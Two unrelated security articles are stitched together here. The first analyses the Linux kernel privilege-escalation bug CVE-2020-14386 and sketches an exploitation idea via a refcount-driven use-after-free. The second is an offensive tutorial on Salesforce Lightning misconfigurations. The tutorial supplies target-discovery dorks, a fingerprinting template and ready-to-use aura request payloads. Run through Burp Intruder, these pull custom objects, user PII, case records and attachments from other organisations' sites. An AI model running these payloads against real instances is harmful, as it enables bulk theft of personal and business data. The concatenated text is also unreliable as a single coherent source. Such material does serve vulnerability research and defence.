CVE-2020-14386: Privilege Escalation Vulnerability in the Linux kernel

CVE-2020-14386: Privilege Escalation Vulnerability in the Linux kernel

Original text by Or Cohen

Executive Summary

Lately, I’ve been investing time into auditing packet sockets source code in the Linux kernel. This led me to the discovery of CVE-2020-14386, a memory corruption vulnerability in the Linux kernel. Such a vulnerability can be used to escalate privileges from an unprivileged user into the root user on a Linux system. In this blog, I will provide a technical walkthrough of the vulnerability, how it can be exploited and how Palo Alto Networks customers are protected.

A few years ago, several vulnerabilities were discovered in packet sockets (CVE-2017-7308 and CVE-2016-8655), and there are some publications, such as this one in the Project Zero blog and this in Openwall, which give some overview of the main functionality.

Specifically, in order for the vulnerability to be triggerable, we need the kernel to have AF_PACKET sockets enabled (CONFIG_PACKET=y) and the CAP_NET_RAW privilege for the triggering process, which can be obtained in an unprivileged user namespace if user namespaces are enabled (CONFIG_USER_NS=y) and accessible to unprivileged users. Surprisingly, this long list of constraints is satisfied by default in some distributions, like Ubuntu.

Palo Alto Networks Cortex XDR customers can prevent this bug with a combination of the Behavioral Threat Protection (BTP) feature and Local Privilege Escalation Protection module, which monitor malicious behaviors across a sequence of events, and immediately terminate the attack when it is detected.

Technical Details

(All of the code figures on this section are from the 5.7 kernel sources.)

Due to the fact that the implementation of AF_PACKET sockets was covered in-depth in the Project Zero blog, I will omit some details that were already described in that article (such as the relation between frames and blocks) and go directly into describing the vulnerability and its root cause.

The bug stems from an arithmetic issue that leads to memory corruption. The issue lies in the tpacket_rcv function, located in (net/packet/af_packet.c) .

The arithmetic bug was introduced on July 19, 2008, in the commit 8913336 (“packet: add PACKET_RESERVE sockopt”). However, it became triggerable for memory corruption only in February 2016, in the commit 58d19b19cd99 (“packet: vnet_hdr support for tpacket_rcv“). There were some attempts to fix it, such as commit bcc536 (“net/packet: fix overflow in check for tp_reserve”) in May 2017 and commit edb58be (“packet: Don’t write vnet header beyond end of buffer”) in August 2017. However, those fixes were not enough to prevent memory corruption.

Let’s first have a look at the PACKET_RESERVE option:In order to trigger the vulnerability, a raw socket (AF_PACKET domain, SOCK_RAW type ) has to be created with a TPACKET_V2 ring buffer and a specific value for the PACKET_RESERVE option.

PACKET_RESERVE (with PACKET_RX_RING) - By default, a packet receive ring writes packets immediately following the metadata structure and alignment padding. This integer option reserves additional headroom.
(from https://man7.org/linux/man-pages/man7/packet.7.html)

The headroom that is mentioned in the manual is simply a buffer with size specified by the user, which will be allocated before the actual data of every packet received on the ring buffer. This value can be set from user-space via the setsockopt system call.

case PACKET_RESERVE:{unsigned int val;if (optlen != sizeof(val))return -EINVAL;if (copy_from_user(&val, optval, sizeof(val)))return -EFAULT;if (val > INT_MAX)return -EINVAL;lock_sock(sk);if (po->rx_ring.pg_vec || po->tx_ring.pg_vec) {ret = -EBUSY;} else {po->tp_reserve = val;ret = 0;}release_sock(sk);return ret;}

Figure 1. Implementation of setsockopt – PACKET_RESERVE

As we can see in Figure 1, initially, there is a check that the value is smaller than INT_MAX. This check was added in this patch to prevent an overflow in the calculation of the minimum frame size in packet_set_ringLater, it’s verified that pages were not allocated for the receive/transmit ring buffer. This is done to prevent inconsistency between the tp_reserve field and the ring buffer itself.

After setting the value of tp_reserve, we can trigger allocation of the ring buffer itself via the setsockopt system call with optname of PACKET_RX_RING:

Create a memory-mapped ring buffer for asynchronous packet reception.

Figure 2. From manual packet – PACKET_RX_RING option.

This is implemented in the packet_set_ring functionInitially, before the ring buffer is allocated, there are several arithmetic checks on the tpacket_req structure received from user-space:

min_frame_size = po->tp_hdrlen + po->tp_reserve;……if (unlikely(req->tp_frame_size < min_frame_size))goto out;

Figure 3. Part of the sanity checks in the packet_set_ring function.

As we can see in Figure 3, first, the minimum frame size is calculated, and then it is verified versus the value received from user-space. This check ensures that there is space in each frame for the tpacket header structure (for its corresponding version) and tp_reserve number of bytes.

Later, after doing all the sanity checks, the ring buffer itself is allocated via a call to alloc_pg_vec:

order = get_order(req->tp_block_size);pg_vec = alloc_pg_vec(req, order);

Figure 4. Calling the ring buffer allocation function in the packet_set_ring function.

As we can see from the figure above, the block size is controlled from user-space. The alloc_pg_vec function allocates the pg_vec array and then allocates each block via the alloc_one_pg_vec_page function:

static struct pgv *alloc_pg_vec(struct tpacket_req *req, int order){unsigned int block_nr = req->tp_block_nr;struct pgv *pg_vec;int i;pg_vec = kcalloc(block_nr, sizeof(struct pgv), GFP_KERNEL | __GFP_NOWARN);if (unlikely(!pg_vec))goto out;for (i = 0; i < block_nr; i++) {pg_vec[i].buffer = alloc_one_pg_vec_page(order);

Figure 5. alloc_pg_vec implementation.

The alloc_one_pg_vec_page function uses __get_free_pages in order to allocate the block pages:

static char *alloc_one_pg_vec_page(unsigned long order){char *buffer;gfp_t gfp_flags = GFP_KERNEL | __GFP_COMP |__GFP_ZERO | __GFP_NOWARN | __GFP_NORETRY;buffer = (char *) __get_free_pages(gfp_flags, order);if (buffer)return buffer;

Figure 6. alloc_one_pg_vec_page implementation.

After the blocks allocation, the pg_vec array is saved in the packet_ring_buffer structure embedded in the packet_sock structure representing the socket.

When a packet is received on the interface, the socket bound to the tpacket_rcv function will be called and the packet data, along with the TPACKET metadata, will be written into the ring buffer. In a real application, such as tcpdump, this buffer is mmap’d to the user-space and packet data can be read from it.

The Bug

Now let’s dive into the implementation of the tpacket_rcv function (Figure 7). First, skb_network_offset is called in order to extract the offset of the network header in the received packet into maclen. In our case, this size is 14 bytes, which is the size of an ethernet header. After that, netoff (which represents the offset of the network header in the frame) is calculated, taking into account the TPACKET header (fixed per version), the maclen and the tp_reserve value (controlled by the user).

However, this calculation can overflow, as the type of tp_reserve is unsigned int and the type of netoff is unsigned short, and the only constraint (as we saw earlier) on the value of tp_reserve is to be smaller than INT_MAX.

if (sk->sk_type == SOCK_DGRAM) {…else {unsigned int maclen = skb_network_offset(skb);netoff = TPACKET_ALIGN(po->tp_hdrlen +(maclen < 16 ? 16 : maclen)) +po->tp_reserve;if (po->has_vnet_hdr) {netoff += sizeof(struct virtio_net_hdr);do_vnet = true;}macoff = netoff – maclen;}

Figure 7. The arithmetic calculation in tpacket_rcv

Also shown in Figure 7, if the PACKET_VNET_HDR option is set on the socket, sizeof(struct virtio_net_hdr) is added to it in order to account for the virtio_net_hdr structure, which should be right beyond the ethernet header. And finally, the offset of the ethernet header is calculated and saved into macoff.

Later in that function, seen in Figure 8 below, the virtio_net_hdr structure is written into the ring buffer using the virtio_net_hdr_from_skb function. In Figure 8, h.raw points into the currently free frame in the ring buffer (which was allocated in alloc_pg_vec).

if (do_vnet &&virtio_net_hdr_from_skb(skb, h.raw + macoff –sizeof(struct virtio_net_hdr),vio_le(), true, 0))goto drop_n_account;

Figure 8. Call to virtio_net_hdr_from_skb function in tpacket_rcv

Initially, I thought it might be possible to use the overflow in order to make netoff a small value, so macoff could receive a larger value (from the underflow) than the size of a block and write beyond the bounds of the buffer.

However, this is prevented by the following check:

if (po->tp_version <= TPACKET_V2) {if (macoff + snaplen > po->rx_ring.frame_size) {……snaplen = po->rx_ring.frame_size – macoff;if ((int)snaplen < 0) {snaplen = 0;do_vnet = false;}}

Figure 9. Another arithmetic check in the tpacket_rcv function.

This check is not sufficient to prevent memory corruption, as we can still make macoff a small integer value by overflowing netoff. Specifically, we can make macoff smaller than sizeof(struct virtio_net_hdr), which is 10 bytes, and write behind the bounds of the buffer using virtio_net_hdr_from_skb.

The Primitive

By controlling the value of macoff, we can initialize the virtio_net_hdr structure in a controlled offset of up to 10 bytes behind the ring buffer. The virtio_net_hdr_from_skb function starts by zeroing out the entire struct and then initializing some fields within the struct based on the skb structure.

static inline int virtio_net_hdr_from_skb(const struct sk_buff *skb,struct virtio_net_hdr *hdr,bool little_endian,bool has_data_valid,int vlan_hlen){memset(hdr, 0, sizeof(*hdr)); /* no info leak */if (skb_is_gso(skb)) {…if (skb->ip_summed == CHECKSUM_PARTIAL) {…

Figure 10. Implementation of the virtio_net_hdr_from_skb function.

However, we can set up the skb so only zeros will be written into the structure. This leaves us with the ability to zero 1-10 bytes behind a __get_free_pages allocation. Without doing any heap manipulation tactics, an immediate kernel crash will occur.

POC

A POC code for triggering the vulnerability can be found in the following Openwall thread.

Patch

I submitted the following patch in order to fix the bug.

The code shown represents the author's proposed patch for CVE-2020-14386.

Figure 11. My proposed patch for the bug.

The idea is that if we change the type of netoff from unsigned short to unsigned int, we can check whether it exceeds USHRT_MAX, and if so, drop the packet and prevent further processing.

Idea for Exploitation

Our idea for exploitation is to convert the primitive to a use-after-free. For this, we thought about decrementing a reference count of some object. For example, if an object has a refcount value of 0x10001, the corruption would look as follows:

This illustrates the process of zeroing out a byte in an object refcount, exploiting CVE-2020-14386. It shows the appearance before corruption, with an example refcount value of 0x10001, and after corruption, when the refcount = 0x1.

Figure 12. Zeroing out a byte in an object refcount.

As we can see in Figure 13 below, after corruption, the refcount will have a value of 0x1, so after releasing one reference, the object will be freed.

However, in order to make this happen, the following constraints have to be satisfied:

  • The refcount has to be located in the last 1-10 bytes of the object.
  • We need to be able to allocate the object at the end of a page.
    • This is because get_free_pages returns a page-aligned address.

We used some grep expressions along with some manual analysis of code, and we came out with the following object:

struct sctp_shared_key {struct list_head key_list;struct sctp_auth_bytes *key;refcount_t refcnt;__u16 key_id;__u8 deactivated;};

Figure 13. Definition of the sctp_shared_key structure.

It seems like this object satisfies our constraints:

  • We can create an sctp server and a client from an unprivileged user context.
    • Specifically, the object is allocated in the sctp_auth_shkey_create function.
  • We can allocate the object at the end of a page.
    • The size of the object is 32 bytes and it is allocated via kmalloc. This means the object is allocated in the kmalloc-32 cache.
    • We were able to verify that we can allocate a kmalloc-32 slab cache page behind our get_free_pages allocation. So we will be able to corrupt the last object in that slab cache page.
      • Because of the reason 4096 % 32 = 0, there is no spare space in the end of the slab page, and the last object is allocated right behind our allocation. Other slab cache sizes may not be good for us, such as 96 bytes, because 4096 % 96 != 0.
  • We can corrupt the highest 2 bytes of the refcnt field.
    • After compilation, the size of key_id and deactivated is 4 bytes each.
    • If we use the bug to corrupt 9-10 bytes, we will corrupt the 1-2 most significant bytes of the refcnt field.

Conclusion

I was surprised that such simple arithmetic security issues still exist in the Linux kernel and haven’t been previously discovered. Also, unprivileged user namespaces expose a huge attack surface for local privilege escalation, so distributions should consider whether they should enable them or not.

Palo Alto Networks Cortex XDR stops threats on endpoints and coordinates enforcement with network and cloud security to prevent successful cyber attacks. To prevent the exploitation of this bug, the Behavioral Threat Protection (BTP) feature and Local Privilege Escalation Protection module in Cortex XDR would monitor malicious behaviors across a sequence of events and immediately terminate the attack when detected.

Salesforce Lightning — An in-depth look at exploitation vectors for the everyday community

Salesforce Lightning - An in-depth look at exploitation vectors for the everyday community

Original text by Aaron Costello

Introduction

The purpose of this tutorial is to share my knowledge of exploiting common misconfigurations found in the popular CRM, Salesforce Lightning. As of current there is no public documentation on the attacker perspective. This article is not yet conclusive on the topic, a small number of specific vectors of attack are not discussed (eg: blind SOQL injection) nor are all default controller methods that can be taken advantage of as an attacker. It will hopefully, however, provide sufficient knowledge to begin exploiting these pitfalls.

There are plenty of resources for code samples within the developer documentation already, and more than enough VDPs/BBPs to satisfy a thirst to begin applying your newfound knowledge immediately. However, I will walk through creating your own developer instance which will both assist in grasping the concepts outlined here and also how it can be used to assist in attacking other Salesforce Lightning instances. This isn’t mandatory for exploitation, but helpful.

Temporary and unrelated note: I am currently searching for a security engineer / offensive security position (remote ideally, from Ireland but timezone flexible). If your company, or one you know of, is hiring within these parameters, I’d love to know more (Twitter DM is perfect).

What is Salesforce Lightning?

Simply put, it’s a bundle of frameworks providing tech for UI, CSS/Styling , but most importantly applications and components. It’s ideally used for Customer Relationship Management (CRM), and as such the vast majority of encounters will be for support sites whether it’s for the everyday user of a product or privately for partners. Think support case filing, articles, topic discussions etc et al. The developer addition is free to try out, which I highly recommend and will outline in the next subsection.

Creating your own Salesforce Developer (Community) Instance

The creation of your own instance is entirely optional. However in terms of exploitation, you will require a ‘template’ request, which is a HTTP request made to a specific Lightning endpoint that you will be utilising against other hosts. Most public Salesforce instances make these requests, so it’s not completely necessary to have your own. But if you have a desire to really grasp the information in this article (and potentially find even more useful queries that can be used in conjunction with exploitation) then I’d suggest doing so.

Creation of an instance is simple:

  1. Navigate to this link and sign up
  2. Authenticate to the instance
  3. Search ‘Communities’ in the Quick Find bar and click ‘Communities Settings’
  4. Domain Name > Enter a subdomain prefix
  5. Click ‘Save’
  6. Click ‘New community’ and select a template.
  7. Click ‘Get Started’. Provide a name and URL suffix
  8. Click ‘Create’
  9. On the Workspace page, click the ‘Builder’ button under the ‘My Workspaces’ heading
  10. On the top right, click the ‘Publish’ button in order to make the community fully public. Navigating to the link in your email will show you your public community site!
site.PNG

Key Terms

Throughout this article there will be several new concepts to understand, brief familiarity with basic DB structures is of help.

  • Objects — Effectively acting like database tables
    • Default Object — These are objects provided by Salesforce when the app is created for the first time.
    • Custom Object — These are objects created by admins. The ‘__c’ suffix denotes custom objects and fields.
  • Fields — Can be considered the ‘columns’ of a database. A small set of examples of fields in the ‘User’ object are: AboutMe, CompanyName, CommunityNickname.
  • Records — These are the ‘rows’ of a database (the actual entries of data).
  • SOQL — Salesforce Object Query Language
  • Component — Framework for app development, used for customization of a Salesforce app. It includes the view (markup) and controller (JS) on the client-side, then controller (apex) and database on the server side. Default lightning components for example are ui, aura, and force.
  • Namespace — Think of it like a package, which groups related components together.
  • Descriptor — A reference to a component in the form ‘namespace:component’. For example, ‘force:outputField’ is a descriptor for the ‘outputField’ component in the ‘force’ namespace.

How does Salesforce Lightning implement security?

Prior to going through the exploitation process, it’s imperative to understand the pitfalls of security controls in order to better understand how they are exploited, and also how to ensure your application is as watertight as possible.

From an attacker perspective, the main security controls to be concerned with essentially boil down to the following:

  • Object Level Security (OLS) — This is often referred to as CRUD within Salesforce documentation
  • Field Level Security (FLS)
  • Record Level Security (RLS)

Objects and OLS

Interested in storing data from a customer case? The Case object would be a good idea. New user registered? User object makes sense. I think you get the gist.

OLS allows an admin to completely deny access to an object from an entire profile. As such they have the ability to control who sees what. This makes complete sense, as a sales profile will not need to see the same objects as someone in customer support, and they wouldn’t even know the objects exist.

Object permissions can be modified per User Profile via the Profile tab of the Salesforce instance:

  • Users > Profiles > Select a profile > Click ‘All Object Settings’ > Select an Object -> Click ‘Edit’
example_object_permissions.PNG

Fields and FLS

FLS (field-level security) provides the option to allow specific users to have access to some ‘columns’ and not others. For example, a support site with public discussion would make sense to allow a Guest user to see the CommunityNickname from the User object as it would be shown on posts. However, there is no need to allow Guest users to be able to access the real FirstName and LastName of these users.

Salesforce has implemented some unique access rules to specific objects’ fields, such as the User object. Instances of this are outlined in the object reference documentation.

Access permissions to specific fields in an object can be modified on the same page as that for Object permissions, so following the steps in the previous section will reveal the field permissions when you scroll down.

field_perms.PNG

Records and RLS

Lastly, are the records which contain the actual data. Ultimately this is where the interesting and sensitive information lies, as it’s nice to know that a ‘Sensitive_Data__c’ field exists in a custom object but it’s effectively useless if you can only see your own accounts record. This is the concept of RLS and it’s extremely common considering a person should absolutely have access to their own data and not necessarily others.

RLS can be implemented in tiers:

  • Organization settings — default level of access everyone has to specific records
  • Role settings — does the case owner role need more access than regular portal user role to records? This is where that can be done at a hierarchy level.
  • Sharing rules — exceptions to organization settings for particular sets of users, not necessarily entire roles.
  • Manual sharing settings — want to give every user in a set except Tom access to more record data? Look no further.
  • Apex managed sharing — Like manual sharing, but done programmatically via Apex or SOAP

Typically, this is done from the top down to allow for finer tuning. Where to find most of these options is outlined briefly below:

Organization wide sharing settings: Navigate to ‘/lightning/setup/SecuritySharing/home’. Sharing rules may also be configured further down this page.

orgsharing.PNG

Roles and role hierarchy: Navigate to ‘/lightning/setup/Roles/home’ > Click ‘Set Up Roles’:

roles.PNG

Manual sharing: Navigate to Setup > Users > Click on a user > Click ‘Sharing’ > click ‘Add’:

manual sharing.PNG

I recommend reading the following document to understand exactly different levels of permissions will grant: https://trailhead.salesforce.com/content/learn/modules/data_security/data_security_records

Caveat

Seems simple right? Salesforce not only provides community alerts for the most glaring issues which scream at you every time you login in your dashboard, but 99% of the above can be done visually through a GUI. I mean, look at this example of removing the ‘View All Users’ permissions for Guest profiles:

guest_profiles.png

There’s also continuous default security improvements for newer orgs with season patches.

Not so fast. Surprisingly many organisations fail to notice community alerts or they may simply have been older orgs which have been created prior to these new patches and have just no gotten around to reading the latest security notes. Not only that, but custom objects are rarely configured with the correct OLS/FLS/RLS.

But, it’s not all nice buttons and fancy GUIs for the developers who want to implement custom blueprints and code for unique functionality. Which brings us on to the next topic, Apex Classes and SOQL.

Apex Classes and Methods

“Apex is a strongly typed, object-oriented programming language that allows developers to execute flow and transaction control statements on the Lightning platform server in conjunction with calls to the Lightning Platform API. Using syntax that looks like Java and acts like database stored procedures, Apex enables developers to add business logic to most system events, including button clicks, related record updates, and Visualforce pages. Apex code can be initiated by Web service requests and from triggers on objects.”

— Salesforce Documentation

The above statement gives a general understanding of what Apex is, but what we’re interested in is how it implements security, and how can we interact with the code created by developers?

The Apex classes that have methods which are denoted with «@AuraEnabled» are what interest us the most, as these methods can be called remotely through the Aura endpoint so they are ‘reachable’. My personal favourite thing about exploiting Apex is that it’s not exactly secure by design. User permission checks / FLS/ RLS are not implemented by default, as it runs entirely in the system context as opposed to user context.

Salesforce have provided some nice examples of vulnerable Apex class methods within their developer documentation. Below will summarise briefly how security may be implemented at a base level:

  • Classes should be declared using ‘with sharing’ to run in user context
  • In the case of CRUD and FLS:
    • Check read permissions using ‘.isAccessible()’
    • Check update permissions using ‘.isUpdateable()’
    • Check delete permissions using ‘.isDeletable()’
    • Check create permissions using …. guess? 😉
  • SOQL Injection:
    • Binding variables and static queries, and using ‘WITH SECURITY_ENFORCED’

Unfortunately without access to the code itself, exploitation of apex class methods will always be done blackbox unless the class is open source (which is always worth checking). As such, it’s important to be smart about it. Ask yourself the following:

  • Do I have to blindly test this? Perhaps I can crawl the site functionality and a call to the method will be performed at some point. In which case, you now have perfectly formatted data to play around with.
  • Once you peek at the definition (explanation on how to do that later), what are the parameter names hinting at and what variable types are they expecting? A method called ‘updateProfile’ with parameters ‘recordId’ (type aura://Id) and ‘profileName’ (type aura://String) hints massively at what data you should be plugging in. It’s only a matter of getting a profile ID to modify (either by extracting it via insecure object permissions, or perhaps profiles are publicly viewable on the site and as such so are the IDs).

Here is a small sample of issues I’ve found within apex methods:

apex1.PNG
apex2.PNG
apex3.PNG

Recon Process

Now to the exciting part, and no better way to start than actually finding sites using Salesforce. Sites hosted with SF typically point to one of the following via CNAMEs:

  • *.force.com
  • *.secure.force.com
  • *.live.siteforce.com

This can be used in conjunction with tools such as SecurityTrails which allow searching by DNS record, or Rapid7’s collection of DNS records (fdns_any.json.gz). It’s important to note that *.live.siteforce.com will be prefixed like ‘sub.site.com.<id>.live.siteforce.com’ whereas *.force.com is trickier to spot as the full domain wont appear in the record. For example, ‘support.butchers.com’ may be hosted on ‘butchersupport.force.com’, so ensure to think of related keywords and organization names when looking through large lists of records.

The following Google dorks may also prove useful:

  • site:force.com
  • inurl:/s/topic
  • inurl:/s/login
  • inurl:/s/article
  • inurl:/s/global-search

Lastly, a crafted POST request to an aura endpoint will throw an easily finger-printable error. Feel free to use the Nuclei template below which tests for this:

id: salesforce-aura

info:
  name: Detect the exposure of Salesforce Lightning aura API
  author: aaron_costello
  severity: info

requests:
  - method: POST
    path:
      - "{{BaseURL}}/aura"
      - "{{BaseURL}}/s/sfsites/aura"
      - "{{BaseURL}}/sfsites/aura"
    body: "{}"
    matchers:
      - type: word
        words:
          - 'aura:invalidSession'
        part: body

Please keep in mind that certain communities may also have a custom $Site.Prefix value such as ‘/business’, ‘/partners’,’/support’ etc et al which will prefix the aura endpoints. Feel free to add these to the template as you find them.

Exploitation

Workflow

When it comes to the exploitation process, I go through a specific workflow in order to ensure that everything is covered. Below is a brief overview of this process. Don’t worry too much right now regarding the information that’s contained in each box, as it’ll all make sense once you’ve completed your reading of the exploitation section, and you can refer back to it.

Starting from Unauthenticated (Guest User):

  1. Pull custom object names
  2. Run intruder attack to retrieve records for objects discovered in (1) and default objects known to keep sensitive information
  3. Pull list views for any objects not returning data from (2) for the ‘Recent’ listId and attempt to extract this data directly (or, query ‘ListView’ object and bruteforce each object with the ListView records disclosed)
  4. Crawl application to enumerate potential apex class methods query-able by Guest users
  5. Attempt to exploit said methods
  6. Authenticate and repeat steps 1-5

In Practice

The first thing you’ll need to do prior to any actual hacking is to populate your headers/cookies and parameter values for ‘/aura’ (I will say /aura’, but it could be any of the endpoints mentioned in the Nuclei template and more). This is why the creation of your own developer community is useful, but feel free to use mine instead.

Navigate to the developer instance with Burp’s proxy sniffing all HTTP(S) requests in the background. Grab any POST request to an aura endpoint and send it to repeater:

aura_query.PNG

Within the repeater tab change the ‘Host’ header and the Burp ‘target’ field to the domain of your target, and we’re ready to go. You’ll notice multiple POST parameters that are consistent across all requests to the aura endpoint, with ‘message’ and ‘aura.token’ being the most import. The ‘message’ parameter contains all of the crucial information such as the apex class and respective method being called, plus parameters (and values) being passed to it. By default it will be URL encoded, however it’s not necessary and will improve readability when decoded. The ‘aura.token’ parameter value will show whether or not you are authenticated. The ‘undefined’ value indicates you are not, and hence you are a Guest user. However if it’s populated with a JWT token, then you are authenticated.

It’s paramount to note that only the ‘message’ parameter in the POST data is to be changed with the payloads, the rest are to remain as they are.

Pull Custom Objects

Replace the ‘message’ parameter value with the following in order to pull custom objects accessible by a Guest user:

{"actions":[{"id":"123;a","descriptor":"serviceComponent://ui.force.components.controllers.hostConfig.HostConfigController/ACTION$getConfigData","callingDescriptor":"UNKNOWN","params":{}}

This will return a list of objects within the ‘apiNamesToKeyPrefixes’ key. Search for ‘__c’ within the response and copy any objects suffixed by this, as we know that these are custom.

Extract Data from Objects

Note: From this point onwards we will be using Intruder quite a bit. Each ‘message’ payload will contain a MARKER value which is what you should surround the Intruder markers with, to save myself repeating it every time.

Send this repeater request to the intruder. Within the ‘Positions’ tab, modify the ‘message’ parameter value to the following:

{"actions":[{"id":"123;a","descriptor":"serviceComponent://ui.force.components.controllers.lists.selectableListDataProvider.SelectableListDataProviderController/ACTION$getItems","callingDescriptor":"UNKNOWN","params":{"entityNameOrId":"MARKER","layoutType":"FULL","pageSize":100,"currentPage":0,"useTimeout":false,"getCount":false,"enableRowActions":false}}]}

The ‘$getItems’ method in this specific controller is only one example of a built-in method that can be used to extract total information from an object, there are plenty however this is the one I typically use. In this payload I’m using pretty much the minimum required parameters for it to work. The full definition for this method and others will be provided at the end of the article. Here’s a little overview of the important parameters:

  • entityNameOrId — Object name
  • getCount — if set to ‘true’, will return the number of records returned
  • pageSize — The larger the number, the greater potential number of records returned. Capped at 1000.
  • currentPage — If you’ve capped the pageSize but there are more records, incrementing the currentPage value will return the records for the next page

Once you’re happy with these values, ensure that the ‘MARKER’ string is surrounded by the intruder markers. Within the ‘Payloads’ tab, paste the custom objects into the Simple List, along with the following:

Case
Account
User
Contact
Document
ContentDocument
ContentVersion
ContentBody
CaseComment
Note
Employee
Attachment
EmailMessage
CaseExternalDocument
Attachment
Lead
Name
EmailTemplate
EmailMessageRelation


A full list of default Salesforce objects can be found here, as there is likely some I am missing.

Finally, start the attack! Once the attack is complete, I would re-order it by response length from highest to lowest, as responses of <12,000 typically are either:

  1. You do not have access to the object
  2. The only record returned is your own (Guest)

Below is an example `User` object in which the response length indicates a leak:

example_user.PNG

Certain fields in the ‘User’ object will contain null, as they were either not supplied or have additional restrictions as a result of a Salesforce security update as mentioned before. But PII is nearly always available through the ‘Name’, ‘FirstName’, ‘LastName’ fields and occasionally ‘Phone’. In addition to this, some custom fields may be disclosed. Prior to reporting this issue, it’s paramount to ensure this information is not already accessible publicly. If the community has a discussion board where users can post from profiles, this information is likely already accessible. So ensure that throughout the exploitation process, you are not reporting a ‘non issue’.

Specific objects will return IDs, particularly those related to attachments. Here is how to utilise them (These paths are relative to the base path, not the aura endpoint):

  • Document — Prefix 015 — /servlet/servlet.FileDownload?file=ID
  • ContentDocument — Prefix 069 — /sfc/servlet.shepherd/document/download/ID
  • ContentVersion — Prefix 068 — /sfc/servlet.shepherd/version/download/ID

A list of default object ID prefixes can be found here.

Exploiting ListViews

The aim here is to retrieve ListView Ids for the aforementioned sensitive objects, query them for records within the object, and lastly access the record directly. The default view for Lightning as of current is the ‘Recently Viewed’ ListView. Modify the ‘message’ parameter in the Intruder tab to the following, keep the Intruder payloads the same as before:

  1. Get ListView ID
{"actions":[{"id":"123;a","descriptor":"serviceComponent://ui.force.components.controllers.lists.listViewPickerDataProvider.ListViewPickerDataProviderController/ACTION$getInitialListViews","callingDescriptor":"UNKNOWN","params":{"scope":"MARKER","listIdOrApiName":"Recent","listViewTitle":"Recently Viewed","maxMruResults":50,"maxAllResults":100}}]}

2. Copy the ListView records (prefix 00B) and replace the entire intruder payloads with them. In this case, don’t forget to modify the ‘entityName‘ parameter value from ‘OBJECT’ to the object that the ListView records belong to, such as ‘User’. Then, replace the ‘message’ parameter value with the following:

{"actions":[{"id":"123;a","descriptor":"serviceComponent://ui.force.components.controllers.lists.listViewDataManager.ListViewDataManagerController/ACTION$getItems","callingDescriptor":"UNKNOWN","params":{"filterName":"MARKER","entityName":"OBJECT","pageSize":100,"layoutType":"LIST","getCount":false,"enableRowActions":false,"offset":0}}]}

3. Lastly, any IDs returned you can attempt to access directly. Copy any IDs returned and replace the Intruder payload list with them. The final ‘message’ parameter value to extract a user’s record is below:

{"actions":[{"id":"123;a","descriptor":"serviceComponent://ui.force.components.controllers.detail.DetailController/ACTION$getRecord","callingDescriptor":"UNKNOWN","params":{"recordId":"MARKER","mode":"VIEW","layoutType":"FULL"}}]}

The alternative to this would be to extract all of the ListView IDs from the ‘ListView’ default object, then attempting to pair each ListView record to a corresponding object using the query from step 2.

Interacting with Apex Class Methods

Thus far, everything has been quite straightforward and that process will not change for any target. The ability to exploit these insecure methods will separate the wheat from the chaff. First things first, a basic understanding of how to efficiently understand these from a blackbox perspective is important.

When filtering through your Burp Proxy history, or sliding down a mass of requests, there are two simple ways to find any custom apex class definitions or calls:

  1. The string ‘apex%3a%2f%2f’ in the request
  2. The string ‘compound://c’ in the response

I will focus on the second, as ultimately any apex call that is made in a background request will lead you to look for the actual descriptor itself anyway.

Below is an snippet of what you may come across in a response when searching for this string:

"componentDefs":[
{"xs":"G","descriptor":"markup://c:SampleComponent"
..snip..
"cd":{
      "descriptor":"compound://c.SampleComponent",
      "ac":[
        { 
           "n":"getBaseUrl",
           "descriptor":"apex://SampleController/ACTION$getBaseUrl","at":"SERVER","rt":"apex://Map<String,String>",
           "pa":[{"name":"url","type":"apex://String"}]
..snip..

The important values to note here are:

  • The initial ‘discriptor’ value that exists in ‘componentDefs’ — This can be used for retrieving the full definition, although not required. The descriptor format is made up of namespace:component.
  • rt — The return value type. In this case, it’s a Map.
  • pa — Parameters that are passed to the apex class method, and their type. Here the parameter accepted is “url” of type “String”.

Knowing this information, we can attempt to interact with this method and see what it returns. Here’s the constructed message value:

{"actions":[{"id":"46;a","descriptor":"apex://NovaBaseController/ACTION$getBaseUrl","callingDescriptor":"UNKNOWN","params":{"url":"https://google.com/something"}}]}

Let’s break this down into points:

  • id — Completely irrelevant, enter 1337 here if it makes you feel better
  • descriptor — The controller and subsequent method we are calling
  • callingDescriptor — Okay, so technically in an ideal world this would contain the componentDef markup string, but I have not seen it ever required so “UNKNOWN” is accepted across the board
  • params — This JSON object contains the ‘url’ parameter and value that I’ve decided to give it, which is a URL. I simply looked at the parameter name and took a wild guess, welcome to hacking 🙂

Submitting the request returned the following value:

"returnValue":{
     "completeUrl":"https://google.com/something",
     "pathUrl":"/something"
     }

Some of you may be thinking “When searching for custom apex classes, the responses are so cluttered and it’s hard to focus. How do I see JUST the methods for a particular custom class?”. This can be retrieved via the ‘/auraCmpDef’ endpoint. The endpoint itself requires a few pieces of information prior to accessing it, as seen below:

/auraCmpDef?aura.app=<APP_MARKUP>&_au=<AU_VALUE>&_ff=DESKTOP&_l=true&_cssvar=false&_c=false&_l10n=en_US&_style=-1450740311&_density=VIEW_ONE&_def=<COMPONENT_MARKUP>

The values for these ‘aura.app’ and ‘_au’ parameters can be found in two places. side by side. Firstly when a call to a particular method of a class is called in a request, it can be found in the ‘aura.context’ POST parameter’s value. Secondly, in the response that describes the custom class itself (CTRL+F ‘Application@’):

In the example request above, the ‘aura.app’ value is ‘markup://siteforce:communityApp’ and the _au value is ‘8KVdMoLuAGi15YkxlC35vw’. Lastly is the component descriptor value is required for the ‘_def’ parameter,and you may have noticed one earlier in this subsection. Search for ‘»descriptor»:»markup://c’ in the response where these methods are outlined, and copy the entire value for the descriptor.

descriptor.PNG

Plugging in these values would leave us with the following finished path & parameters (Note that the ‘/auraCmpDef’ endpoint is in the same directory as ‘/aura’ is found):

/auraCmpDef?aura.app=markup://siteforce:communityApp&_au=8KVdMoLuAGi15YkxlC35vw&_ff=DESKTOP&_l=true&_cssvar=false&_c=false&_l10n=en_US&_style=-1450740311&_density=VIEW_ONE&_def=markup://c:NOVABaseComponent

Navigating to the URL will perform a 302 redirect to what we seek. Below is a snippet ‘/auraCmpDef’ output for a built-in method within a component.

Example method description from ‘/auraCmpDef’ for the built in ‘forceSearch:resultsGridLVMDataManager’   It’s bad enough that you’re often guessing parameter values for parameters of a String type, but even worse are parameters which expect an object, as you’re now dealing with potentially quite a few blind parameters within said object itself and their respective values. Here’s a fairly obvious and handy trick for this. If an object is expecting a return type of ‘aura://User’, check to see if any other apex methods have a ‘rt’ value of ‘aura://User’, and then use the output from that method as the input for the first.
